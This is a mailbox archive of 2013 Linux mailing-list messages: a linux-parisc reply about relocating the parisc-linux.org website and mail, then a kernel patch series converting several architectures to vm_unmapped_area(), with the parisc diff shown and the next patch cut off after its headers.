References: <20120208143347.GB22903@dannf.org>
 <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
 <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl>
 <20120209175547.GA22332@dannf.org>
 <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl>
 <20120214180519.GA32602@dannf.org>
 <CA+DQjFh8qF961ZGqt8yHJu4gPP=ji9Y08hqseRoPQg7637uMQA@mail.gmail.com>
 <CADZpyiwqn60ChBSO5PJj9AojH2CWQvRgjYM61iRQxryH2wzUnA@mail.gmail.com>
 <20130123211739.GA26674@dannf.org>
 <BLU0-SMTP94043E9796BDEDBF8A44B997150@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1358983967 10249 80.91.229.3 (23 Jan 2013 23:32:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Jan 2013 23:32:47 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Thibaut VARENE <T-Bone@parisc-linux.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 24 00:33:05 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ty9oW-0000mA-PH
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Jan 2013 00:33:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752240Ab3AWXcp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Jan 2013 18:32:45 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:48451 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751143Ab3AWXco (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Jan 2013 18:32:44 -0500
Original-Received: from localhost (c-76-120-123-66.hsd1.co.comcast.net [76.120.123.66])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(Client did not present a certificate)
	by complete.lackof.org (Postfix) with ESMTPSA id 047F733E011F;
	Wed, 23 Jan 2013 16:32:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP94043E9796BDEDBF8A44B997150@phx.gbl>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.5 at complete.lackof.org
X-Virus-Status: Clean
X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY
	autolearn=unavailable version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on complete.lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4750
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4750>

On Wed, Jan 23, 2013 at 06:14:01PM -0500, John David Anglin wrote:
> On 23-Jan-13, at 4:17 PM, dann frazier wrote:
> 
> >On Tue, Feb 14, 2012 at 01:33:48PM -0500, Carlos O'Donell wrote:
> >>On Tue, Feb 14, 2012 at 1:31 PM, Thibaut VARENE
> >><T-Bone@parisc-linux.org> wrote:
> >>>It looks to me like this burden clearly outweighs the benefits of
> >>>being selfhosted, so maybe the right move is to use a supported
> >>>architecture for hosting the website? Given the "audience" for
> >>>linux-parisc, I don't think it would make a significant
> >>>difference...
> >>
> >>I tend to agree. Use the right tool for the right job.
> >>
> >>Fun hacking = HPPA.
> >>
> >>Serve the website = x86.
> >
> >fyi, the subnet on which palinux (aka parisc-linux.org) is hosted will
> >be going away at the end of February. This sounds like a good target
> >date for the move :)
> 
> There are a few people who still use the domain for parisc related mail.
> James Bottomley is the most active.  Hopefully, this will also get moved
> with the website.

Yeah, I agree - it just needs somewhere to move to first :)

We can also just point the MX somewhere else, if there's a good
mail hosting option that doesn't want to host the website.

Note that it sounds like HP might be willing to move the system to a
new DC, re-IP and basically run it till something fails. But that's an
inevitable eventuality, and at that point it becomes an emergency.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 0/8] convert remaining archs to use vm_unmapped_area()
Date: Wed, 23 Jan 2013 17:29:43 -0800
Lines: 70
Approved: news@gmane.org
Message-ID: <1358990991-21316-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1358991005 764 80.91.229.3 (24 Jan 2013 01:30:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 01:30:05 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 24 02:30:20 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyBdw-0005sh-Q8
	for glkm-linux-mm-2@m.gmane.org; Thu, 24 Jan 2013 02:30:17 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id E74AE6B0005; Wed, 23 Jan 2013 20:29:57 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id E0C3F6B0008; Wed, 23 Jan 2013 20:29:57 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id C10F76B0009; Wed, 23 Jan 2013 20:29:57 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx181.postini.com [74.125.245.181])
	by kanga.kvack.org (Postfix) with SMTP id 3AEDA6B0005
	for <linux-mm@kvack.org>; Wed, 23 Jan 2013 20:29:57 -0500 (EST)
Original-Received: from mail-pb0-f46.google.com ([209.85.160.46]) (using TLSv1) by na3sys010amx181.postini.com ([74.125.244.10]) with SMTP;
	Wed, 23 Jan 2013 17:29:57 PST
Original-Received: by mail-pb0-f46.google.com with SMTP id wy7so5038934pbc.19
        for <linux-mm@kvack.org>; Wed, 23 Jan 2013 17:29:56 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer;
        bh=EvDaU7jYnVqvotkuBceHhz/soqVZwDpwl8NPEqRuA5o=;
        b=FjHi1QmJgTZS+SYsSVGZUn3RnzZLJY5q+gMJ/1pw4s1VmKRqZ2ORn7pcwXBzRMcumz
         fIDkJoLgtCPoakmjw4L1n14Nayq5OoYkFMs/9OJ+aopXjhdEhNs7guqZlTsjmkaE5z+1
         vg+B/ek7rynxrwn2LHri7Bhm2Zpz++0LTIqBajp4i6WtIV9/QW/i9prTCT/tIU+5Z4GO
         EHlcdVdVEVTlgCd93A8bE01y4w1KEuV/CR9tXkWWvvR3wmANYPmLlzsptdUdPZzRFTuD
         JLGcoM6kdSBQrG+m4idtLWAwxqEe74xzsd+BFB1hkOXQrrpBaV7sdn3SVd100kV3tVet
         2NNg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer
         :x-gm-message-state;
        bh=EvDaU7jYnVqvotkuBceHhz/soqVZwDpwl8NPEqRuA5o=;
        b=OgR4N2Bhry+CUANFoBUqeWWiijRBYtoM3WCdABJZdbrA3PPkr65jdgW7bdegGYi5FL
         7/0DA2bFeM1HD+A2xEJSXRcpo51mur/inqyFDt6yizk6mWXUrc/KZZaXP67yPFnZNol/
         27ui86LP4yDOsjZyrMLa4zSHl+tZLDlOC8OkBACPAqA9hsevjZYQ+KQ9IXBaGm5avexA
         vfnp0epf7G0f987OFC+kql1+hYnQGlyQbn0QQlJEjZB/uugfGaWaf9vZa0zbPbpfY60D
         EaHbaLJ51DRtWuJbEsYaxmOasFyOra5gMMFy0689kKQcnKmTrjG+9pqQqOh9aRQpPjyO
         QfNQ==
X-Received: by 10.68.232.195 with SMTP id tq3mr546852pbc.70.1358990996278;
        Wed, 23 Jan 2013 17:29:56 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id kc4sm13786285pbc.23.2013.01.23.17.29.52
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 23 Jan 2013 17:29:53 -0800 (PST)
X-Mailer: git-send-email 1.8.1
X-Gm-Message-State: ALoCoQk9notOw8gqdFVnU9X5XNy7pNZ4XqAgcv1LUjPDDOyq0aCz2PSR6K6Ll+QGIbHbCmQE1Wkd3TfUhixoecNc1UbgpyAsA50UXXUF+88+OpuQkjnwzqlkO9hrCRZHFL0dzv6SK90WotT0iGXOqfT+pAXkB+6CL1LNgDGF8+/Cyu2Tj5xhU4Dwe50wu4gshXKNIw59HiXk
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93858 gmane.linux.kernel:1428148 gmane.linux.ports.ppc64.devel:87328 gmane.linux.ports.parisc:4751 gmane.linux.ports.alpha:2003 gmane.linux.ports.ia64:22952
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93858>

This is a resend of my "finish the mission" patch series. I need arch
maintainers to approve so I can push this to andrew's -mm tree.

These patches, which apply on top of v3.8-rc kernels, are to complete the
VMA gap finding code I introduced (following Rik's initial proposal) in
v3.8-rc1.

First 5 patches introduce the use of vm_unmapped_area() to replace brute
force searches on parisc, alpha, frv and ia64 architectures (all relatively
trivial uses of the vm_unmapped_area() infrastructure)

Next 2 patches do the same as above for the powerpc architecture. This
change is not as trivial as for the other architectures, because we
need to account for each address space slice potentially having a
different page size.

The last patch removes the free_area_cache, which was used by all the
brute force searches before they got converted to the
vm_unmapped_area() infrastructure.

I did some basic testing on x86 and powerpc; however the first 5 (simpler)
patches for parisc, alpha, frv and ia64 architectures are untested.

Michel Lespinasse (8):
  mm: use vm_unmapped_area() on parisc architecture
  mm: use vm_unmapped_area() on alpha architecture
  mm: use vm_unmapped_area() on frv architecture
  mm: use vm_unmapped_area() on ia64 architecture
  mm: use vm_unmapped_area() in hugetlbfs on ia64 architecture
  mm: remove free_area_cache use in powerpc architecture
  mm: use vm_unmapped_area() on powerpc architecture
  mm: remove free_area_cache

 arch/alpha/kernel/osf_sys.c              |   20 ++--
 arch/arm/mm/mmap.c                       |    2 -
 arch/arm64/mm/mmap.c                     |    2 -
 arch/frv/mm/elf-fdpic.c                  |   49 +++----
 arch/ia64/kernel/sys_ia64.c              |   37 ++----
 arch/ia64/mm/hugetlbpage.c               |   20 ++--
 arch/mips/mm/mmap.c                      |    2 -
 arch/parisc/kernel/sys_parisc.c          |   46 +++----
 arch/powerpc/include/asm/page_64.h       |    3 +-
 arch/powerpc/mm/hugetlbpage.c            |    2 +-
 arch/powerpc/mm/mmap_64.c                |    2 -
 arch/powerpc/mm/slice.c                  |  228 +++++++++++++-----------------
 arch/powerpc/platforms/cell/spufs/file.c |    2 +-
 arch/s390/mm/mmap.c                      |    4 -
 arch/sparc/kernel/sys_sparc_64.c         |    2 -
 arch/tile/mm/mmap.c                      |    2 -
 arch/x86/ia32/ia32_aout.c                |    2 -
 arch/x86/mm/mmap.c                       |    2 -
 fs/binfmt_aout.c                         |    2 -
 fs/binfmt_elf.c                          |    2 -
 include/linux/mm_types.h                 |    3 -
 include/linux/sched.h                    |    2 -
 kernel/fork.c                            |    4 -
 mm/mmap.c                                |   28 ----
 mm/nommu.c                               |    4 -
 mm/util.c                                |    1 -
 26 files changed, 163 insertions(+), 310 deletions(-)

-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 1/8] mm: use vm_unmapped_area() on parisc architecture
Date: Wed, 23 Jan 2013 17:29:44 -0800
Lines: 90
Approved: news@gmane.org
Message-ID: <1358990991-21316-2-git-send-email-walken@google.com>
References: <1358990991-21316-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1358991005 771 80.91.229.3 (24 Jan 2013 01:30:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 01:30:05 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 24 02:30:19 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyBdz-0005sl-6d
	for glkm-linux-mm-2@m.gmane.org; Thu, 24 Jan 2013 02:30:19 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id EE3F06B0008; Wed, 23 Jan 2013 20:30:00 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id E82366B0009; Wed, 23 Jan 2013 20:30:00 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id BEDB66B000E; Wed, 23 Jan 2013 20:30:00 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx106.postini.com [74.125.245.106])
	by kanga.kvack.org (Postfix) with SMTP id 3F8AD6B0008
	for <linux-mm@kvack.org>; Wed, 23 Jan 2013 20:30:00 -0500 (EST)
Original-Received: from mail-pa0-f45.google.com ([209.85.220.45]) (using TLSv1) by na3sys010amx106.postini.com ([74.125.244.10]) with SMTP;
	Thu, 24 Jan 2013 01:30:00 GMT
Original-Received: by mail-pa0-f45.google.com with SMTP id bg2so5151487pad.18
        for <linux-mm@kvack.org>; Wed, 23 Jan 2013 17:29:59 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=OKx9IdHbzMClq6rWEZZuX311cW+5WKliTWWOAtGcoIw=;
        b=j8FXdjHsTlBm6DXWLMM88niYHas4msxZgQshf7q465A1N9hIwWyNzatcm4S0RI7TrT
         y/kH1KndW1jb3e5e9tFn045MNguJw+jY1cQOsRMlNVysXsMIqO9JorFtDle/eM6MxIRw
         82wJfuTKAVI4X5jUJaPWxmCYc2vKL2OImv12afEJY6k31g5Y1lBqLmocVAdE1OiyG7E6
         xX7GEBVOIsEH+30rYh+3q3XZ330yTfwIRFfHy61U2mRu2/S2RrivdRw0W1qgW8hAiMzP
         cJghio0oxd4WbgRMcO3elF45Z8PQnnqU4P3uv9aSUvIpBbNCBERzm/B2v1USj329azsO
         PizQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=OKx9IdHbzMClq6rWEZZuX311cW+5WKliTWWOAtGcoIw=;
        b=Tn6+134VzRGgHKQj8Rcx6hlBNX9SRia3tdfg9/6dP2A8sgBgXxyMoZIE719G+cXAZ6
         /MOKfcuh0ePmpJxO9ZzSWDJj2ifUmCnpLcd0oP12igjwnmOSNl+5lRkCe4+p/q2IAgoy
         gq4T9z4WA0JvHYvFQuaXDotz15H023crO4L3FIN7KBI6eXFp/xi8vu+kekOAt0jE0+lL
         PBfr7tH8QVw0WKdNTcarwj+BvBeXiVaoJZ8Gph7SB0GXQeLZQfPuWu59ADfUHkFqmmRY
         B/yJveANurvH3qNH0TH9r0P3cATjOrwq87dLxIrGFDrILDibdqmFnsCO01LLSJLgC+GL
         WvUQ==
X-Received: by 10.68.135.67 with SMTP id pq3mr438883pbb.127.1358990999386;
        Wed, 23 Jan 2013 17:29:59 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id kc4sm13786285pbc.23.2013.01.23.17.29.56
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 23 Jan 2013 17:29:58 -0800 (PST)
X-Mailer: git-send-email 1.8.1
In-Reply-To: <1358990991-21316-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQlMXrml2QL/k2FHaLvwOhNSo35Lf9Ebj1zUyUQ5XrU/7y4nPGZ0RwM0vRIZgsVDOfES3jR4nW5S3GjCZeoPRYUmm1sOGtFCoupvRK7SzAQB0FnuK6Gyk5gHpVVtINf9pwMdcJmIIXTYNLN2209kFfCQpTraVLvP9KKzcwDPVy96S8oJ9HBloNZASPYGa8T0dHTef5ul
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:57.40025/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93859 gmane.linux.kernel:1428149 gmane.linux.ports.ppc64.devel:87329 gmane.linux.ports.parisc:4752 gmane.linux.ports.alpha:2004 gmane.linux.ports.ia64:22953
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93859>

Update the parisc arch_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>
Acked-by: Rik van Riel <riel@redhat.com>

---
 arch/parisc/kernel/sys_parisc.c |   46 ++++++++++++++------------------------
 1 files changed, 17 insertions(+), 29 deletions(-)

diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index f76c10863c62..6ab138088076 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -35,18 +35,15 @@
 
 static unsigned long get_unshared_area(unsigned long addr, unsigned long len)
 {
-	struct vm_area_struct *vma;
+	struct vm_unmapped_area_info info;
 
-	addr = PAGE_ALIGN(addr);
-
-	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {
-		/* At this point:  (!vma || addr < vma->vm_end). */
-		if (TASK_SIZE - len < addr)
-			return -ENOMEM;
-		if (!vma || addr + len <= vma->vm_start)
-			return addr;
-		addr = vma->vm_end;
-	}
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = PAGE_ALIGN(addr);
+	info.high_limit = TASK_SIZE;
+	info.align_mask = 0;
+	info.align_offset = 0;
+	return vm_unmapped_area(&info);
 }
 
 #define DCACHE_ALIGN(addr) (((addr) + (SHMLBA - 1)) &~ (SHMLBA - 1))
@@ -63,30 +60,21 @@ static unsigned long get_unshared_area(unsigned long addr, unsigned long len)
  */
 static int get_offset(struct address_space *mapping)
 {
-	int offset = (unsigned long) mapping << (PAGE_SHIFT - 8);
-	return offset & 0x3FF000;
+	return (unsigned long) mapping >> 8;
 }
 
 static unsigned long get_shared_area(struct address_space *mapping,
 		unsigned long addr, unsigned long len, unsigned long pgoff)
 {
-	struct vm_area_struct *vma;
-	int offset = mapping ? get_offset(mapping) : 0;
-
-	offset = (offset + (pgoff << PAGE_SHIFT)) & 0x3FF000;
+	struct vm_unmapped_area_info info;
 
-	addr = DCACHE_ALIGN(addr - offset) + offset;
-
-	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {
-		/* At this point:  (!vma || addr < vma->vm_end). */
-		if (TASK_SIZE - len < addr)
-			return -ENOMEM;
-		if (!vma || addr + len <= vma->vm_start)
-			return addr;
-		addr = DCACHE_ALIGN(vma->vm_end - offset) + offset;
-		if (addr < vma->vm_end) /* handle wraparound */
-			return -ENOMEM;
-	}
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = PAGE_ALIGN(addr);
+	info.high_limit = TASK_SIZE;
+	info.align_mask = PAGE_MASK & (SHMLBA - 1);
+	info.align_offset = (get_offset(mapping) + pgoff) << PAGE_SHIFT;
+	return vm_unmapped_area(&info);
 }
 
 unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 2/8] mm: use vm_unmapped_area() on alpha architecture
Date: Wed, 23 Jan 2013 17:29:45 -0800
Lines: 50
Approved: news@gmane.org
Message-ID: <1358990991-21316-3-git-send-email-walken@google.com>
References: <1358990991-21316-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1358991010 809 80.91.229.3 (24 Jan 2013 01:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 01:30:10 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 24 02:30:25 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyBe2-0005xO-4Y
	for glkm-linux-mm-2@m.gmane.org; Thu, 24 Jan 2013 02:30:22 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 654D26B0009; Wed, 23 Jan 2013 20:30:03 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 5DAC06B000E; Wed, 23 Jan 2013 20:30:03 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 28CCF6B0010; Wed, 23 Jan 2013 20:30:03 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx105.postini.com [74.125.245.105])
	by kanga.kvack.org (Postfix) with SMTP id E554D6B0009
	for <linux-mm@kvack.org>; Wed, 23 Jan 2013 20:30:01 -0500 (EST)
Original-Received: from mail-pa0-f54.google.com ([209.85.220.54]) (using TLSv1) by na3sys010amx105.postini.com ([74.125.244.10]) with SMTP;
	Thu, 24 Jan 2013 01:30:02 GMT
Original-Received: by mail-pa0-f54.google.com with SMTP id bi5so5167046pad.27
        for <linux-mm@kvack.org>; Wed, 23 Jan 2013 17:30:01 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=uFr/RtBdWHW+ZgsI4UFlu+D1DQWsWwfIDN7E9w9s5ps=;
        b=VWfaIGzZHI1jRhVHjnxMuk3FCvVMeZ2BvChJSqWb+U4jIkQkd2EdD+gKePG/+yzdW6
         SYyndPWFw7P79ImfIGZemk4YVKPGsygwsT177tmXsgKca/CdbAGLaHgEFMeePluZueNT
         U2x3kWRFZuzyRHSKCspka1A4a0cHIUUgu4/uB6wrZpd7dD84Mb6roeiKH1lW41H+csgl
         M7KSbkp8QRm4gayLpyDB2Fp7MbT8R3LfNIJaUuF22sga4+NI90eribRotBrg+fD91MOR
         igxhsxLix37/SkBotsV1r5VvvpGdXL3z4YjxgyWhgvBsQ6sdA0+jjITIwcD+uG9stsMr
         qAJg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=uFr/RtBdWHW+ZgsI4UFlu+D1DQWsWwfIDN7E9w9s5ps=;
        b=ih0F1MW4zjYE1zPShNT4fZAICMpaw+8H7pRR4/5sgqHrYRRWyCbOHxTGgBcwZoKwkt
         9/y9IPHOvGCl5kmlzPmlzcgZrdOQn2dCFYG15Px1NtPCnDEV6ELG/fe2tUXbnYYwHAvY
         lNLULeAOUIDlLKTzFmYfBk5a2XlqzAiYulpakhY/U4gS2xx/GMX1C1IyVTY6RNNpPPvK
         iKLL+sxWxXXiM/HpTqCSFJ8RkQQ6MrDKIffZg0u7PpG3MLFHs3IWDSIJm6NlScOE6B8/
         pifG0fpOzSVvBPl2hy+TIPxckETkl4Ngj/tVnDTdjEmVVdfv+2Nt+0/X3nJMmISW6wnf
         X/Lw==
